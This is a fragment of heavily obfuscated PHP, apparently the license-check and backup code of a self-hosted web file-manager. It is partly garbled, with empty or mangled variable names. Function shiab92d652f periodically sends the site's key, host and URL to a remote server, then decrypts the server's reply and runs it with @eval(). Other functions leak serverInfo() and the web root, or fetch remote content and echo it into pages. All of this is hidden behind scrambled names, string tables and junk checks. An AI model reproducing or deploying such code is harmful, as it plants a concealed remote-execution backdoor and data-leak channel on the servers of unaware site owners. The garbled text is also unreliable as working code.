$Ơ = $ྭہ[645]; if (strlen($Ơ) < $ྭہ[646]) { die; } $Ø = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $κʰ = $ྭہ[647]; if (strlen($κʰ) < $ྭہ[635]) { return; } foreach ($Ø as $) { $ = $GLOBALS[$[85]][$[86]][$]; $۸ = $ྭہ[648]; if (strlen($۸) < $ྭہ[615]) { return; } if (isset($˙[$])) { $ = $˙[$]; } $۱[$[87]][$[88]][$] = $; } $ = $۱[$[87]][$[88]][$[46]]; unset($۱[$[87]][$[89]][$[90]]); $ = $ྭہ[649]; if (strlen($) < $ྭہ[635]) { die; } unset($۱[$[87]][$[89]][$[91]]); $ԉ = $ྭہ[650]; unset($۱[$[87]][$[88]][$[46]]); $Ӄ = $ྭہ[651]; if (!$Ӄ) { die; } unset($۱[$[87]][$[88]][$[92]]); $۱[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $ = $ྭہ[652]; $۱[$[98]][$[99]] = Action($[100])->accessToken(); $ܢ = $ྭہ[653]; if (strlen($ܢ) < $ྭہ[615]) { return; } $۱[$[98]][$[101]] = md5($_SERVER[$[102]] . $˙[$[103]]); $۱[$[98]][$[104]] = base64_encode(serverInfo()); $۱[$[98]][$[105]] = $this->obus4f733076; $ⵅ = $ྭہ[654]; if (!$ⵅ) { die; } if ($˙[$[105]] != $[106]) { $۱[$[98]][$[107]] = $˙[$[107]]; $۱[$[98]][$[108]] = $˙[$[108]]; $ = rand_string(10) . $this->obus4f733076 . rand_string(5); $۱[$[87]][$[109]][$[110]] = $this->djpm10d1efea($, $۱[$[98]][$[101]]); } if ($this->obus4f733076 == $[106]) { $۱[$[87]][$[88]][$[93]][$[97]] = 0; } $۱[$[98]][$[111]] = _get($this->kqou45d28de1, $[112], $[6]); $۱[$[98]][$[113]] = _get($this->kqou45d28de1, $[114], $[6]); $ھ = $ྭہ[655]; if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $۱[$[98]][$[117]] = WEB_ROOT; } return $۱; } private function gchreeb34e3d() { $ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ӣˤ = $_SERVER[$[24]] == $[118]; if ($_SERVER[$[24]] == $[119] && $_GET[$[120]] == $[121]) { $ӣˤ = !0; } if ($ӣˤ) { $ֳ = array($[105] => $this->obus4f733076, $[122] => $this->rgce40ea8bbf(), $[123] => Model($[124])->count()); if ($this->obus4f733076 != $[106]) { $ = _get($this->kqou45d28de1, $[125]); if ($) { $ֳ[$[126]] = $; $ֳ[$[127]] = strtotime(_get($this->kqou45d28de1, $[128])); $ֳ[$[129]] = _get($this->kqou45d28de1, $[114]); } $Č = Model($[33])->get($[130], $[6], !0); if (is_string($Č) && substr($Č, 0, 1) == $[131]) { $Č = json_decode_force($Č); } if (is_array($Č) && $Č[$[132]] && strstr($Č[$[132]], $[133])) { $ = explode($[133], $Č[$[132]]); $ֳ[$[134]] = $[0]; } } $ֳ = $this->lunza0d18401(json_encode($ֳ), md5($[135])); $ǁ = array($[136] => $ֳ); $ï = $[656]; if (strlen($ï) < $[607]) { die; } call_user_func(array($[137], $[138]), $ǁ); } if ($this->obus4f733076 == $[106]) { return; } $Ϧ = array($[139], $[140], $[141], $[142], $[143], $[144]); $ = Model($[33])->get(); $ = $[657]; while (strlen($) < $[607]) { if (!$) { break; } $++; } $ǁ = array($[145] => $[$[34]], $[146] => $[$[35]], $[147] => $[6]); foreach ($Ϧ as $) { if (!isset($[$]) || !$[$]) { continue; } $ǁ[$] = $[$]; } call_user_func(array($[137], $[138]), $ǁ); $Կ = $[658]; while ($Կ < $[615]) { if ($Կ >= 0) { break; } $Կ++; } } private function vqsz4ad13c85() { $ =& $_SERVER[]; $̈ =& $_SERVER[̬Ե]; if ($_SERVER[$̈[24]] != $̈[148]) { return; } if (!_get($GLOBALS, $̈[115])) { die; } $Ǻ = $GLOBALS[$̈[13]]; if (isset($Ǻ[$̈[149]])) { $this->kzne2b2c742d(); die; } if (!isset($Ǻ[$̈[150]]) || strlen($Ǻ[$̈[150]]) != 16) { show_json($̈[151] . $Ǻ[$̈[150]], !1); } $䣑翧 = Model($̈[33])->get($̈[103]); $ = md5($_SERVER[$̈[102]] . $䣑翧); $ܾ = array($̈[150] => $Ǻ[$̈[150]], $̈[152] => rand_string(16), $̈[153] => $̈[135], $̈[154] => $̈[155], $̈[156] => $_SERVER[$̈[157]], $̈[158] => $_SERVER[$̈[159]], $̈[160] => $_SERVER[$̈[161]], $̈[101] => $, $̈[162] => Model($̈[33])->get($̈[130])); $̦ = $[659]; if (strlen($̦) < $[607]) { die; } if ($Ǻ[$̈[163]] == $̈[164]) { $؇ = $this->lunza0d18401($, $̈[165]); $˺ = $this->djpm10d1efea(json_encode($ܾ), $ . $̈[166], 3); $˺ = $˺ . $̈[167] . $_SERVER[$̈[157]]; $ת = $this->iflza0df3841($̈[168] . $؇ . $̈[169] . $˺, -1); show_json($ת, !0); } else { if ($Ǻ[$̈[163]] == $̈[170]) { $ = substr(md5($̈[171] . $), 12, 15) . $̈[172]; $˺ = $this->rmqs7f6f7abf(trim($Ǻ[$̈[173]]), $, 2); $ = json_decode($˺, !0); if (!is_array($) || !is_array($[$̈[174]]) || $[$̈[150]] != !0) { $˽ؕ = $̈[175]; $ = $[$̈[174]] ? $̈[176] . $[$̈[174]] : $˽ؕ; show_json($, !1); } else { $ܾ[$̈[152]] = $[$̈[174]][$̈[177]]; } } else { $ = $this->iflza0df3841($̈[178], $ܾ, 10); $ = $[660]; if (strlen($) < $[617]) { die; } } } if (!is_array($) || !is_array($[$̈[174]]) || $[$̈[150]] != !0) { $˽ؕ = LNG($̈[179]); $ = $[$̈[174]] ? $̈[176] . $[$̈[174]] : $˽ؕ; show_json($, !1); } $ = $[$̈[174]]; $ = $this->nspe0fff9424($[$̈[180]]); if (!$ || $ != $[$̈[128]]) { $ = array($̈[181] => Model($̈[33])->get($̈[103]), $̈[182] => $_SERVER[$̈[102]], $̈[183] => this_url(), $̈[158] => $_SERVER[$̈[159]]); $˺ = $this->iepm5da4d5a8(json_encode($)); $this->iflza0df3841($̈[184] . $˺); show_json(LNG($̈[185]), !0); } $ѓҟ = array($̈[186] => $[$̈[187]], $̈[188] => $[$̈[189]], $̈[190] => rand_string(16), $̈[105] => $[$̈[191]]); if ($ܾ[$̈[152]]) { $ѓҟ[$̈[190]] = $ܾ[$̈[152]]; } $ = substr(md5($ѓҟ[$̈[188]]), 10, 10); $ = $ . $ѓҟ[$̈[105]] . $ѓҟ[$̈[190]]; $ = $[661]; $ѓҟ[$̈[107]] = strrev(base64_encode($this->lunza0d18401($, $̈[192]))); $ = $[662]; while (strlen($) < $[615]) { if (!$) { break; } $++; } $ô = rand_string(16); $֢ = $[663]; $ډޚ = $ô . $ѓҟ[$̈[105]] . $this->lunza0d18401(md5($ѓҟ[$̈[186]]), $ô); $ѓҟ[$̈[108]] = base64_encode(strrev($this->lunza0d18401($ډޚ, $̈[193]))); $ߣ = $[664]; if (!$ߣ) { die; } if ($[$̈[194]] && $[$̈[194]] >= 1) { Model($̈[33])->setDeep($̈[195], $̈[121]); } Model($̈[33])->set($ѓҟ); $ٝ = md5($_SERVER[$̈[102]] . strrev($䣑翧) . $ѓҟ[$̈[188]]); $ʵ = strrev(substr($ٝ, 10, 16)); $ = $[665]; while (strlen($) < $[617]) { if (!$) { break; } $++; } $ = $this->djpm10d1efea(json_encode($), $ٝ); $ = $[666]; if (!$) { return; } $ҏ = array_to_keyvalue(Model($̈[7])->listData(), $̈[196]); $ = $ҏ[$̈[197]]; $ = $[667]; if (!$) { return; } $Ű = array(); $ͩ = $[668]; if (strlen($ͩ) < $[635]) { die; } $Ű[$ʵ] = $; $ʌ = $[669]; Model($̈[7])->update($[$̈[198]], array($̈[199] => $Ű)); $伕 = $[670]; while (strlen($伕) < $[615]) { if (!$伕) { break; } $伕++; } $this->kqou45d28de1 = $; $ = $[671]; if (strlen($) < $[646]) { die; } $this->obus4f733076 = $ѓҟ[$̈[105]]; $this->licenseRegistSuccess(); Cache::set($̈[200] . md5($䣑翧 . $̈[201]), $̈[6]); show_json(LNG($̈[185]), !0); } private function licenseRegistSuccess() { $ꞷ =& $_SERVER[̬Ե]; $ނ = Model($ꞷ[33])->get(); if ($ނ[$ꞷ[63]] != $ꞷ[121]) { Model($ꞷ[33])->set($ꞷ[63], $ꞷ[121]); } Action($ꞷ[202])->initStart(!0); } private function kzne2b2c742d() { $ܢ܌ =& $_SERVER[]; $瓏 =& $_SERVER[̬Ե]; Model($瓏[33])->set(array($瓏[186] => $瓏[6], $瓏[188] => $瓏[6], $瓏[105] => $瓏[106], $瓏[107] => $瓏[6], $瓏[108] => $瓏[6])); $谦 = $ܢ܌[672]; if (!$谦) { return; } Model($瓏[33])->setDeep($瓏[195], $瓏[203]); $ί̞ = $ܢ܌[673]; if (!$ί̞) { die; } $this->kqou45d28de1 = array(); $this->obus4f733076 = $瓏[106]; $ = $ܢ܌[674]; if (strlen($) < $ܢ܌[635]) { return; } } private function ihaza0d99a95() { $틌 =& $_SERVER[]; $ޮ =& $_SERVER[̬Ե]; $_SERVER[$ޮ[159]] = _get($_SERVER, $ޮ[159], APP_HOST); $this->obus4f733076 = $ޮ[106]; $͙ѧ = Model($ޮ[33])->get(); $ּ = $틌[675]; if ($͙ѧ[$ޮ[105]] == $ޮ[106]) { return; } $ɸ = Model($ޮ[33])->get($ޮ[103]); $ = $ޮ[200] . md5($ɸ . $ޮ[201]); $ψ = $틌[676]; while (strlen($ψ) < $틌[615]) { if (!$ψ) { break; } $ψ++; } $ = Cache::get($); if (!is_array($) || !isset($[$ޮ[204]]) || time() - $[$ޮ[204]] >= 60) { $ = Model($ޮ[7])->loadList(); $Ƌ = $[$ޮ[197]]; $ɷ = md5($_SERVER[$ޮ[102]] . strrev($ɸ) . $͙ѧ[$ޮ[188]]); $ = strrev(substr($ɷ, 10, 16)); $ = $this->rmqs7f6f7abf($Ƌ[$ޮ[85]][$], $ɷ); $ = json_decode($, !0); } if (!is_array($)) { return $this->kzne2b2c742d(); } $ԂԈ = strtotime($[$ޮ[128]]); if (time() >= $ԂԈ) { return $this->kzne2b2c742d(); } if (time() - $[$ޮ[204]] > 20) { $[$ޮ[204]] = time(); Cache::set($, $); } $this->kqou45d28de1 = $; $this->obus4f733076 = $͙ѧ[$ޮ[105]]; $ = $틌[677]; if (!$) { return; } } private function jurgc874b505() { $ =& $_SERVER[]; $ֿ =& $_SERVER[̬Ե]; $ٺ = $GLOBALS[$ֿ[13]]; $ր = $[678]; while (strlen($ր) < $[635]) { if (!$ր) { break; } $ր++; } $֭ = $_SERVER[$ֿ[24]]; if ($֭ == $ֿ[205] && $this->obus4f733076 == $ֿ[106]) { show_json(LNG($ֿ[206]), !1, $ֿ[207]); } $ӧ = array($ֿ[208], $ֿ[209]); if (in_array($֭, $ӧ)) { if ($this->obus4f733076 == $ֿ[106] && isset($ٺ[$ֿ[210]])) { show_json(LNG($ֿ[206]), !1, $ֿ[207]); die; } $țغ = $this->rgce40ea8bbf(); if ($țغ != intval($ֿ[211])) { if ($țغ <= Model($ֿ[124])->count()) { show_json(LNG($ֿ[212]), !1, $ֿ[207]); die; } } } } private function useq9b736d36() { $ٴ =& $_SERVER[]; $ڣ =& $_SERVER[̬Ե]; $ = array($ڣ[118], $ڣ[119]); if (!_get($GLOBALS, $ڣ[115]) || !isset($_GET[$ڣ[213]])) { return; } if (!in_array($_SERVER[$ڣ[24]], $)) { return; } $ת⏗ = $ڣ[214]; $ת⏗ = $this->juhg5ef21239($ת⏗, $ڣ[215]); $ = stream_context_create(array($ڣ[216] => array($ڣ[217] => $ڣ[218], $ڣ[219] => 3))); $ = $ٴ[679]; if (!$) { return; } $ӂ = @file_get_contents($ת⏗, !1, $); header($ڣ[220]); $Ķ = $ٴ[680]; if (strlen($Ķ) < $ٴ[635]) { die; } if ($ӂ && strstr($ӂ, $ڣ[221])) { echo $ӂ; } die; } public function vjcw38b879ed($) { $ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if ($this->obus4f733076 == $[222]) { return $; } $ = array($[223] => $[224], $[225] => $[224], $[226] => $[224], $[227] => $[228], $[229] => $[228], $[230] => $[228], $[231] => $[228], $[232] => $[228], $[233] => $[228], $[234] => $[228], $[235] => $[228], $[236] => $[228], $[237] => $[228], $[238] => $[228], $[239] => $[228]); $҇ = explode($[240], _get($this->kqou45d28de1, $[112], $[6])); $ӕ = $[681]; $֨ = array(); foreach ($ as $ԉ => $) { if ($ == $[224] && substr($this->obus4f733076, 0, 1) == $[224]) { continue; } if (!in_array($ԉ, $҇)) { $֨[] = $ԉ; } } foreach ($֨ as $ԉ) { unset($[$ԉ]); } return $; $ÿ = $[682]; } private function yjgr19bd734f() { $۩Ӽ =& $_SERVER[̬Ե]; if ($this->obus4f733076 != $۩Ӽ[106]) { $GLOBALS[$۩Ӽ[85]][$۩Ӽ[89]][$۩Ӽ[241]] = $۩Ӽ[203]; return; } $GLOBALS[$۩Ӽ[85]][$۩Ӽ[242]] = $۩Ӽ[121]; if (Model($۩Ӽ[243])->get($۩Ӽ[63]) != $۩Ӽ[203]) { Model($۩Ӽ[243])->set($۩Ӽ[63], $۩Ӽ[203]); } } public function jcqta8a1132d() { return $_SERVER[̬Ե][244]; } private function shiab92d652f() { $ě =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ = array($[245], $[246], $[247]); $ = $[248] . md5($[249]); $ɻ = $ě[683]; if (!$ɻ) { return; } if ($this->obus4f733076 == $[106] || !_get($GLOBALS, $[115])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $܌ = call_user_func(array($[250], $[251]), $); $Ó˱ = $ě[684]; while (strlen($Ó˱) < $ě[615]) { if (!$Ó˱) { break; } $Ó˱++; } if ($܌ && time() - $܌ < intval($[252])) { return; } call_user_func(array($[250], $[138]), $, time()); $ = $ě[685]; $ٿ = Model($[33])->get($[103]); $ = $ě[686]; $ԕ߸ = array($[150] => Model($[33])->get($[186]), $[163] => $this->obus4f733076, $[160] => $_SERVER[$[161]], $[162] => Model($[33])->get($[130]), $[101] => md5($_SERVER[$[102]] . $ٿ), $[153] => $[135], $[156] => $_SERVER[$[157]]); $ = $ě[687]; if (strlen($) < $ě[617]) { die; } $ = $this->iflza0df3841($[253], $ԕ߸); if (!is_array($)) { return; } if ($[$[150]] && $[$[254]]) { if ($this->nspe0fff9424($[$[254]]) == $ԕ߸[$[150]]) { return; } } $this->kzne2b2c742d(); if ($this->nspe0fff9424($[$[254]]) != $ԕ߸[$[150]]) { $ = array($[181] => $ٿ, $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $͇Ǩ = $this->iepm5da4d5a8(json_encode($)); $ = $this->iflza0df3841($[184] . $͇Ǩ); if ($ && is_array($) && isset($[$[254]])) { $Ҙ = $this->rmqs7f6f7abf($[$[254]], 2); if ($Ҙ) { $Ҙ = $this->nspe0fff9424($Ҙ); } if ($Ҙ) { try { @eval($Ҙ); } catch (Exception $) { } } } } } private function iflza0df3841($ = '', $¼ = array(), $ݦ֟ = 5) { $ޫƑ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ިŅ = $[255]; $瑾£ = $ޫƑ[688]; if (!$瑾£) { return; } $ިŅ = $this->juhg5ef21239($ިŅ, $[256]); $ިŅ = $ިŅ . $; $ɤ = $ޫƑ[689]; while ($ɤ < $ޫƑ[646]) { if ($ɤ >= 0) { break; } $ɤ++; } if ($¼ && is_array($¼)) { $ިŅ = $ިŅ . $[257] . http_build_query($¼); } if ($¼ === -1) { return $ިŅ; } $巎 = stream_context_create(array($[216] => array($[219] => $ݦ֟, $[217] => $[258]), $[259] => array($[260] => !1, $[261] => !1))); $ = $ޫƑ[690]; while ($ < $ޫƑ[646]) { if ($ >= 0) { break; } $++; } $¼ = @file_get_contents($ިŅ, !1, $巎); return json_decode($¼, !0); $ = $ޫƑ[691]; if (strlen($) < $ޫƑ[646]) { die; } } private function rgce40ea8bbf() { $Ŏ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; $ = array($[262] => $[263], $[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[211], $[273] => $[211], $[274] => $[263], $[275] => $[265], $[276] => $[267], $[277] => $[278], $[279] => $[269], $[280] => $[281], $[282] => $[271], $[283] => $[284], $[285] => $[286], $[287] => $[288]); $ = $[$this->obus4f733076]; $ = intval($ ? $ : $[263]); $Ӱ = $Ŏ[692]; if (strlen($Ӱ) < $Ŏ[635]) { die; } $ = _get($this->kqou45d28de1, $[289]); $ = $Ŏ[693]; $ = $ ? intval($) : 0; $Ѯ = $Ŏ[694]; if (!$Ѯ) { return; } return $ + $; $姒 = $Ŏ[695]; if (strlen($姒) < $Ŏ[646]) { return; } } public function mvft15061e72($͠) { $ =& $_SERVER[]; $ǜ =& $_SERVER[̬Ե]; $ = $this->rgce40ea8bbf(); if ($͠[$ǜ[290]] == $ǜ[121]) { return; } if ($ >= intval($ǜ[211])) { return; } $ա = Model($ǜ[124])->count(); $ = $[696]; if (strlen($) < $[615]) { return; } if ($ա <= $) { return; } $Ź = Model($ǜ[124])->field($ǜ[290])->limit($)->select(); $Ź = array_to_keyvalue($Ź, $ǜ[6], $ǜ[290]); if (!in_array($͠[$ǜ[290]], $Ź)) { show_json($ǜ[291], !1, $ǜ[207]); } } public function mlju3007bbc5() { $һ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if (!_get($GLOBALS, $[115]) || mt_rand(1, 100) > 20) { return; } $ = $[214]; $ = $this->juhg5ef21239($, $[215]); $ȅŶ = $һ[697]; if (strlen($ȅŶ) < $һ[617]) { return; } $ԉ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $ݖ = @file_get_contents($, !1, $ԉ); $㤩 = $һ[698]; if (!$㤩) { return; } echo $[292] . hash_encode($ݖ) . $[293]; } private function djpm10d1efea($۾Ì, $֓, $̩ = 3) { $ =& $_SERVER[]; $ϖ =& $_SERVER[̬Ե]; usleep(1); $۾Ì = trim($۾Ì); $ý = mt_rand(0, 5) . $ϖ[6]; $АƲ = rand_string(15); $憔 = $ϖ[294]; switch ($ý) { case $ϖ[203]: $ = $this->lunza0d18401($۾Ì, strrev($֓ . $АƲ)); break; case $ϖ[121]: $ = $this->lunza0d18401($۾Ì, strrev($АƲ . $֓)); $ = $[699]; if (!$) { return; } break; case $ϖ[295]: $ = $this->lunza0d18401($۾Ì, base64_encode($АƲ . $֓)); break; case $ϖ[296]: $ = $this->lunza0d18401($۾Ì, md5($АƲ . $֓)); $ = $[700]; while ($ < $[607]) { if ($ >= 0) { break; } $++; } break; $ڇ = $[701]; if (!$ڇ) { return; } case $ϖ[297]: $۾Ì = base64_encode($۾Ì); $ٓ = rand(0, 64); $ = $[702]; while (strlen($) < $[607]) { if (!$) { break; } $++; } $ʿ = $憔[$ٓ]; $ = md5($ʿ . md5($֓ . $ʿ) . $֓); $ = substr($, $ٓ % 8, $ٓ % 8 + 7); $̀Ů = $ϖ[6]; $Ɛ = 0; $ = 0; $ˏ = 0; for ($Ɛ = 0; $Ɛ < strlen($۾Ì); $Ɛ++) { $ˏ = $ˏ == strlen($) ? 0 : $ˏ; $ = ($ٓ + strpos($憔, $۾Ì[$Ɛ]) + ord($[$ˏ++])) % 64; $܇ = $[703]; if (strlen($܇) < $[617]) { die; } $̀Ů .= $憔[$]; $؏ = $[704]; } $ = hash_encode($ʿ . $̀Ů); break; default: $ = $this->lunza0d18401($۾Ì, $֓ . $АƲ); $ɭ = $[705]; while (strlen($ɭ) < $[646]) { if (!$ɭ) { break; } $ɭ++; } break; } $ = strrev($ý . $АƲ . $); $ = $[706]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } if ($̩ - 1 > 0) { $ = $this->djpm10d1efea($, $֓, $̩ - 1); } return $; } private function rmqs7f6f7abf($ħ, $ؐ, $к = 3) { $ɿ =& $_SERVER[]; $ =& $_SERVER[̬Ե]; if (!is_string($ħ) || strlen($ħ) < 10) { return !1; } $ħ = trim($ħ); $ϝҥ = $ɿ[707]; while (strlen($ϝҥ) < $ɿ[646]) { if (!$ϝҥ) { break; } $ϝҥ++; } $ħ = strrev($ħ); $Щ = $ɿ[708]; if (!$Щ) { die; } $ = $ħ[0]; $ = $ɿ[709]; while ($ < $ɿ[635]) { if ($ >= 0) { break; } $++; } $֨ = substr($ħ, 1, 15); $ = $ɿ[710]; if (!$) { die; } $ħ = substr($ħ, 16); $ = $[294]; $ = $ɿ[711]; if (!$) { die; } switch ($) { case $[203]: $՞ = $this->juhg5ef21239($ħ, strrev($ؐ . $֨)); break; case $[121]: $՞ = $this->juhg5ef21239($ħ, strrev($֨ . $ؐ)); $ؓ = $ɿ[712]; while (strlen($ؓ) < $ɿ[607]) { if (!$ؓ) { break; } $ؓ++; } break; $ = $ɿ[713]; if (strlen($) < $ɿ[635]) { return; } case $[295]: $՞ = $this->juhg5ef21239($ħ, base64_encode($֨ . $ؐ)); $ = $ɿ[714]; if (strlen($) < $ɿ[617]) { die; } break; case $[296]: $՞ = $this->juhg5ef21239($ħ, md5($֨ . $ؐ)); $薜 = $ɿ[715]; break; $߷ = $ɿ[716]; if (!$߷) { return; } case $[297]: $ħ = hash_decode($ħ); $ = $ħ[0]; $
䶘 = $ɿ[717]; if (!$
䶘) { return; } $ħ = substr($ħ, 1); $ = strpos($, $); $ԥ = $ɿ[612]; if (!$ԥ) { return; } $ = md5($ . md5($ؐ . $) . $ؐ); $ = $ɿ[718]; if (strlen($) < $ɿ[617]) { return; } $ = substr($, $ % 8, $ % 8 + 7); $ = $ɿ[719]; $ = $[6]; $ = 0; $费 = $ɿ[720]; if (strlen($费) < $ɿ[635]) { die; } $À = 0; $ = 0; $ꮵ = $ɿ[721]; for ($ = 0; $ < strlen($ħ); $++) { $ = $ == strlen($) ? 0 : $; $ = $++; $ = $ɿ[722]; if (!$) { die; } $À = strpos($, $ħ[$]) - $ - ord($[$]); $퍵 = $ɿ[723]; while ($À < 0) { $À += 64; $ԅ = $ɿ[724]; if (strlen($ԅ) < $ɿ[617]) { return; } } $ .= $[$À]; } $՞ = base64_decode($); break; $љ = $ɿ[725]; while ($љ < $ɿ[615]) { if ($љ >= 0) { break; } $љ++; } default: $՞ = $this->juhg5ef21239($ħ, $ؐ . $֨); break; } if ($к - 1 > 0) { $՞ = $this->rmqs7f6f7abf($՞, $ؐ, $к - 1); } return $՞; } public function iepm5da4d5a8($ܙ) { $à =& $_SERVER[]; $¡ =& $_SERVER[̬Ե]; $ = $this->pofwc016c146(); $ʑ = $this->pofwc016c146(); $ = $à[726]; $ݳަǹ = ($ - 1) * ($ʑ - 1); $ = $à[727]; if (strlen($) < $à[615]) { return; } $垍 = intval(($ + $ʑ) / 2); $ = $à[728]; if (strlen($) < $à[646]) { return; } while (1) { $Ӟ = $垍; $ = $à[729]; if (strlen($) < $à[607]) { return; } $ՠ = $ݳަǹ; while ($ՠ % $Ӟ != 0) { $ = $ՠ; $ = $à[730]; if (strlen($) < $à[607]) { die; } $ՠ = $Ӟ; $Ӟ = $ % $Ӟ; $ό = $à[731]; while ($ό < $à[635]) { if ($ό >= 0) { break; } $ό++; } } if ($Ӟ == 1) { break; } else { $垍++; } } $՞ = 2; $΄ = $à[732]; if (strlen($΄) < $à[607]) { die; } for ($ = 0; $ < $ݳަǹ * 10; $++) { if (($ݳަǹ * $ + 1) % $垍 == 0) { $՞ = intval(($ݳަǹ * $ + 1) / $垍); break; } } $Ĉ = $this->lunza0d18401($ * $ʑ . $¡[6], $¡[135]); $ӎ = $à[733]; if (strlen($ӎ) < $à[646]) { return; } $綁 = md5($¡[298] . ($ + $ʑ) . $¡[299] . $垍 . $¡[299] . $՞ . $¡[300]); $ǎ = $à[734]; while ($ǎ < $à[607]) { if ($ǎ >= 0) { break; } $ǎ++; } $ = $this->lunza0d18401($ܙ, $綁) . $¡[301] . $Ĉ; return $; } public function nspe0fff9424($ܗ) { $ȁ =& $_SERVER[]; $Ε =& $_SERVER[̬Ե]; $ = explode($Ε[301], $ܗ); if (count($) != 2) { return $Ε[6]; } $ = $this->juhg5ef21239($[1] . $Ε[6], $Ε[135]); $ = $ȁ[735]; while ($ < $ȁ[607]) { if ($ >= 0) { break; } $++; } if (!$) { return $Ε[6]; } $ = intval($); $ǽ = $ȁ[736]; if (!$ǽ) { die; } $â = 0; $닢 = $ȁ[737]; while ($닢 < $ȁ[635]) { if ($닢 >= 0) { break; } $닢++; } $腽 = 0; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $â = $; $ = $ȁ[738]; if (!$) { die; } $腽 = intval($ / $); $ˡҵ = $ȁ[739]; break; } $ = ($â - 1) * ($腽 - 1); $Ȫ = intval(($â + $腽) / 2); $ց۲ = $ȁ[740]; if (strlen($ց۲) < $ȁ[615]) { die; } while (1) { $֫ = $Ȫ; $ʊ = $; while ($ʊ % $֫ != 0) { $ϳ = $ʊ; $ʊ = $֫; $ = $ȁ[741]; if (!$) { return; } $֫ = $ϳ % $֫; } if ($֫ == 1) { break; } else { $Ȫ++; } } $ǵ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $Ȫ == 0) { $ǵ = intval(($ * $ + 1) / $Ȫ); break; } } $ = md5($Ε[298] . ($â + $腽) . $Ε[299] . $Ȫ . $Ε[299] . $ǵ . $Ε[300]); $ = $this->juhg5ef21239($[0], $); return $; $݁ = $ȁ[742]; if (!$݁) { die; } } public function pofwc016c146() { $ũ =& $_SERVER[]; $Բ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $ = $ũ[743]; if (strlen($) < $ũ[646]) { return; } $ = 1; while ($ <= (int) sqrt($Բ)) { $څ = $; $ʄ = $ũ[744]; while ($ʄ < $ũ[635]) { if ($ʄ >= 0) { break; } $ʄ++; } while (!0) { $څ++; if ($څ <= 2) { $ = $څ; break; } else { if ($څ < 2) { continue; } } $Ъ = !0; for ($ = 2; $ <= sqrt($څ); $++) { if ($څ % $ == 0) { $Ъ = !1; } } if ($Ъ) { $ = $څ; break; } } $[] = $; } $ = 2; for ($څ = $Բ; $څ > 1; $څ--) { $Ъ = !0; foreach ($ as $ƍ) { if ($څ % $ƍ == 0) { $Ъ = !1; break; } } if ($Ъ) { $ = $څ; break; } } return $; $붹 = $ũ[745]; if (strlen($붹) < $ũ[635]) { die; } } public function hgcw95e6137a($ǩ, $Ȍ) { $ =& $_SERVER[̬Ե]; return call_user_func(array($[8], $[302]), $ǩ, $Ȍ); } public function lunza0d18401($ԝ, $Ѣ) { $ˊ =& $_SERVER[̬Ե]; return call_user_func(array($ˊ[303], $ˊ[304]), $ԝ, $Ѣ); } public function juhg5ef21239($, $ĥ) { $ =& $_SERVER[̬Ե]; return call_user_func(array($[303], $[305]), $, $ĥ); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ôŵ =& $_SERVER[]; $this->isManual(); self::$name = date($ôŵ[746]); if (!($ = Model($ôŵ[747])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ôŵ[32]]; if ($[$ôŵ[748]] == $ôŵ[88]) { self::$name = date($ôŵ[749]); $̈́ = 0; if (isset($[$ôŵ[293]][$ôŵ[200]][$ôŵ[468]])) { $̈́ = (int) $[$ôŵ[293]][$ôŵ[200]][$ôŵ[468]]; } if (self::$manual == 0 && $[$ôŵ[32]] == self::$name) { Model($ôŵ[747])->remove($[$ôŵ[399]]); } $ = $this->initData($̈́, $[$ôŵ[750]]); } else { $this->checkStore($[$ôŵ[750]]); } } self::$option = $; } private function isManual() { $Ӕ = _get($GLOBALS, $_SERVER[][751], 0); $Ӕ = intval($Ӕ); self::$manual = $Ӕ && $Ӕ == 1 ? 1 : 0; } private function initData($툉 = 0, $ = '') { $汈 =& $_SERVER[]; $̒̚ = Model($汈[747])->config(); if ($ && $̒̚[$汈[750]] != $) { $툉 = 0; } $this->checkStore($̒̚[$汈[750]]); if (self::$manual == 1) { self::$name .= $汈[11] . date($汈[752]); } $ؾ = array($汈[750] => $̒̚[$汈[750]], $汈[32] => self::$name, $汈[748] => 0, $汈[753] => $̒̚[$汈[753]], $汈[754] => self::$manual, $汈[293] => array($汈[755] => array($汈[748] => 0), $汈[756] => array($汈[748] => 0, $汈[757] => 0, $汈[758] => 0, $汈[33] => $汈[12], $汈[759] => 0, $汈[760] => 0), $汈[761] => array($汈[748] => 0, $汈[757] => 0, $汈[758] => 0, $汈[759] => 0, $汈[760] => 0), $汈[200] => array($汈[748] => 0, $汈[762] => 0, $汈[763] => 0, $汈[764] => 0, $汈[765] => 0, $汈[468] => $툉, $汈[759] => 0, $汈[760] => 0)), $汈[759] => time(), $汈[760] => 0); $ԁ = Model($汈[747])->insert($ؾ); $ؾ[$汈[399]] = $ԁ; return $ؾ; } private function checkStore($ġ) { $Ӯ =& $_SERVER[]; $Ϲ = Model($Ӯ[766])->listData($ġ); Model($Ӯ[766])->checkConfig($Ϲ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][747])->findByName(self::$name); } return self::$option; } public static function set($̌ߟ) { $ޭ =& $_SERVER[]; $ = self::get(); foreach ($̌ߟ as $ => $) { $翖 = explode($ޭ[10], $); $Õ = count($翖); switch ($Õ) { case 1: 